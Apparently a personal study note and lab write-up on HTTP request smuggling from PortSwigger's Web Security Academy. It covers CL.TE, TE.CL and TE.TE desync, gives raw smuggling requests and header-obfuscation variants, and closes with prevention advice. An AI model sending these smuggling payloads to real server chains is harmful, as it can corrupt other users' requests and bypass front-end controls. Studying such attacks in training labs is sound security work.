What is HTTP Request Smuggling?

Today’s web applications frequently employ chains of HTTP servers between users and the ultimate application logic. Users send requests to a front-end server (sometimes called a load balancer or reverse proxy) and this server forwards requests to one or more back-end servers.

HTTP requests are sent one after another, and the receiving server has to determine where one request ends and the next one begins:

In this situation, it is crucial that the front-end and back-end systems agree about the boundaries between requests. Otherwise, an attacker might be able to send an ambiguous request that gets interpreted differently by the front-end and back-end systems:

Here, the attacker causes part of their front-end request to be interpreted by the back-end server as the start of the next request. It is effectively prepended to the next request, and so can interfere with the way the application processes that request.

How Do HTTP Request Smuggling Vulnerabilities Arise?

Most HTTP request smuggling vulnerabilities arise because the HTTP/1 specification provides two different ways to specify where a request ends: the Content-Length header and the Transfer-Encoding header.

The Content-Length header is straightforward: it specifies the length of the message body in bytes:

POST /search HTTP/1.1
Host: normal-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 11
 
q=smuggling

The Transfer-Encoding header can be used to specify that the message body uses chunked encoding. This means that the message body contains one or more chunks of data. Each chunk consists of the chunk size in bytes (expressed in hexadecimal), followed by a newline, followed by the chunk contents. The message is terminated with a chunk of size zero.

POST /search HTTP/1.1
Host: normal-website.com
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked
 
b
q=smuggling
0

The specification states that if both the Content-Length and Transfer-Encoding headers are present, then the Content-Length header should be ignored. This might be sufficient to avoid ambiguity when only a single server is in play, but not when two or more servers are chained together. In this situation, problems can arise for two reasons:

  • Some servers do not support the Transfer-Encoding header in requests.
  • Some servers do support the Transfer-Encoding header can be induced not to process it if the header is obfuscated in some way.

If the front-end and back-end servers behave differently in relation to the (possibly obfuscated) Transfer-Encoding header, then they might disagree about the boundaries between successive requests, leading to request smuggling vulnerabilities.

How to Perform an HTTP Request Smuggling Attack

Classic request smuggling attacks involve placing both the Content-Length header and the Transfer-Encoding header into a single HTTP/1 request and manipulating these so that the front-end and back-end servers process the request differently. The exact way in which this is done depends on the behavior of the two servers:

Info

Browsers and other clients, including Burp, use HTTP/2 by default to communicate with servers that explicitly advertise support for it during the TLS handshake.

When testing sites with HTTP/2 support, you need to manually switch protocols in Burp Repeater. You can do this from the Request attributes section of the Inspector panel.

CL.TE Vulnerabilities

Front-end server uses the Content-Length header and the back-end server uses the Transfer-Encoding header.

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 13
Transfer-Encoding: chunked
 
0
 
SMUGGLED <-- Start of next request

The front-end server processes the Content-Length header and determines that the request body is 13 bytes long, up to the end of SMUGGLED (two pairs of \r\n after 0 and before SMUGGLED).

The back-end server processes the Transfer-Encoding header, and so treats the message body as using chunked encoding. It processes the first chunk, which is stated to be zero length, and so is treated as terminating the request.

The following bytes, SMUGGLED, are left unprocessed, and the back-end server will treat these as being the start of the next request in the sequence.

Lab: HTTP Request Smuggling, Basic CL.TE Vulnerability

Abstract

The front-end server doesn’t support chunked encoding. The front-end server rejects requests that aren’t using the GET or POST method.

To solve the lab, smuggle a request to the back-end server, so that the next request processed by the back-end server appears to use the method GPOST.

When try to add request body to a GET request, the server responses:

HTTP/2 403 Forbidden
Content-Type: application/json; charset=utf-8
Content-Length: 36
 
"GET requests cannot contain a body"

So, we can only use the POST request to smuggled request.

We can use this request:

POST / HTTP/2

Add Transfer-Encoding: chunked, a 0 character to terminate the first request and a G letter as a left-over byte that will be prepended to the next subsequent request:

POST / HTTP/2
Content-Length: 6
Transfer-Encoding: chunked
 
0
 
G

Also convert HTTP/2 to HTTP/1.1.

Send request once, response:

HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
X-Frame-Options: SAMEORIGIN
Connection: close
Content-Length: 8325
 
...

Send request again, response:

HTTP/1.1 403 Forbidden
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Connection: close
Content-Length: 27
 
"Unrecognized method GPOST"

Note

The value of Content-Length header will be updated automatically when sending requests thanks to a feature of Burp Suite’ Repeater.

TE.CL Vulnerabilities

Front-end server uses the Transfer-Encoding header and the back-end server uses the Content-Length header.

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 3
Transfer-Encoding: chunked
 
8
SMUGGLED <-- Start of next request
0
 
 

Note

To send this request using Burp Repeater, you will first need to go to the Repeater menu and ensure that the “Update Content-Length” option is unchecked.

You need to include the trailing sequence \r\n\r\n following the final 0.

The front-end server processes the Transfer-Encoding header, and so treats the message body as using chunked encoding. It processes the first chunk, which is stated to be 8 bytes long, up to the start of the line after SMUGGLED (does not count \r\n at the end of SMUGGLED1). It processes the second chunk, which is stated to be zero length, and so is treated as terminating the request. This request is forwarded on to the back-end server.

The back-end server processes the Content-Length header and determines that the request body is 3 bytes long, up to the start of the line after 8 (count \r\n at the end of 8). The following bytes, starting with SMUGGLED, are left unprocessed, and the back-end server will treat these as being the start of the next request in the sequence.

Lab: HTTP Request Smuggling, Basic TE.CL Vulnerability

Abstract

The back-end server doesn’t support chunked encoding. The front-end server rejects requests that aren’t using the GET or POST method.

To solve the lab, smuggle a request to the back-end server, so that the next request processed by the back-end server appears to use the method GPOST.

Try to send this request twice:

POST / HTTP/1.1
Content-Length: 3
Transfer-Encoding: chunked
 
8
SMUGGLED
0
 
 

Note

We need to turn of the “Update Content-Length” feature of Burp Suite.

Responses in two times:

HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Set-Cookie: session=VEraxHKSQqxGYdg2nR3N7H7LaZvi2vvX; Secure; HttpOnly; SameSite=None
X-Frame-Options: SAMEORIGIN
Connection: close
Content-Length: 8133
...
HTTP/1.1 403 Forbidden
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Connection: close
Content-Length: 35
 
"Unrecognized method SMUGGLED0POST"

The second response indicates that we can exploit HTTP request smuggling.

Change SMUGGLED into a request with GPOST method:

POST /post/comment HTTP/1.1
Content-Length: 4
Transfer-Encoding: chunked
 
53
GPOST / HTTP/1.1
Host: 0ab500f5032f0a108470a5fe00390037.web-security-academy.net
 
0
 
 

There are some \r\n\r\n sequences we need to add:

  1. After Host header to separate headers and request body to comply with HTTP specification.
  2. After 0 to comply with request body format of TE header.

We also need to update Content-Length to 4 so the back-end server can process the smuggled request from GPOST.

TE.TE Behavior: Obfuscating the TE Header

Front-end and back-end servers both support the Transfer-Encoding header, but one of the servers can be induced not to process it by obfuscating the header in some way.

There are potentially endless ways to obfuscate the Transfer-Encoding header. For example:

Transfer-Encoding: xchunked
 
Transfer-Encoding : chunked
 
Transfer-Encoding: chunked
Transfer-Encoding: x
 
Transfer-Encoding:[tab]chunked
 
[space]Transfer-Encoding: chunked
 
X: X[\n]Transfer-Encoding: chunked
 
Transfer-Encoding
: chunked

To uncover a TE.TE vulnerability, you need to find a variation of the Transfer-Encoding header that is processed by either the front-end or back-end server, while the other ignores it.

Depending on whether it is the front-end or the back-end server that can be induced not to process the obfuscated Transfer-Encoding header, the remainder of the attack will take the same form as for the CL.TE or TE.CL vulnerabilities already described.

Lab: HTTP Request Smuggling, Obfuscating the TE Header

Abstract

Two servers handle duplicate HTTP request headers in different ways. The front-end server rejects requests that aren’t using the GET or POST method.

To solve the lab, smuggle a request to the back-end server, so that the next request processed by the back-end server appears to use the method GPOST.

First, use HTTP Request Smuggler and find out that the server has TE.CL vulnerability.

Try to use two Transfer-Encoding headers, based on the lab’s instruction:

POST / HTTP/1.1
Content-Length: 3
Transfer-Encoding: chunked
Transfer-Encoding: x
 
8
SMUGGLED
0
 
 

Two responses:

HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Set-Cookie: session=faucL48Va02tWwd8sUkPWVRFfMpwfRXV; Secure; HttpOnly; SameSite=None
X-Frame-Options: SAMEORIGIN
Connection: close
Content-Length: 8233
...
HTTP/1.1 403 Forbidden
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Connection: close
Content-Length: 35
 
"Unrecognized method SMUGGLED0POST"

The second response indicates that our obfuscation is correct.

Change SMUGGLED to a GPOST request:

POST /post/comment HTTP/1.1
Content-Length: 4
Transfer-Encoding: chunked
Transfer-Encoding: x
 
53
GPOST / HTTP/1.1
Host: 0a22007f04af954084154f1300fb004c.web-security-academy.net
 
0
 
 

Finding HTTP Request Smuggling Vulnerabilities

Exploiting HTTP Request Smuggling Vulnerabilities

Advanced Request Smuggling

Browser-Powered Request Smuggling

How to Prevent HTTP Request Smuggling Vulnerabilities

To prevent HTTP request smuggling vulnerabilities:

  • Use HTTP/2 end-to-end and disable HTTP downgrading if possible, as HTTP/2 prevents request smuggling. If downgrading is necessary, validate requests against HTTP/1.1, rejecting those with newlines, colons in headers, or spaces in the method.
  • Ensure the front-end normalizes ambiguous requests, and the back-end rejects any remaining ambiguous ones, closing the TCP connection.
  • Never assume requests lack a body—this leads to CL.0 and desync vulnerabilities.
  • Discard connections if server exceptions occur during request handling, and enable upstream HTTP/2 for traffic routed through forward proxies.
list
from outgoing([[Port Swigger - HTTP Request Smuggling]])
sort file.ctime asc

Resources

Footnotes

  1. see Chunked transfer encoding - Wikipedia.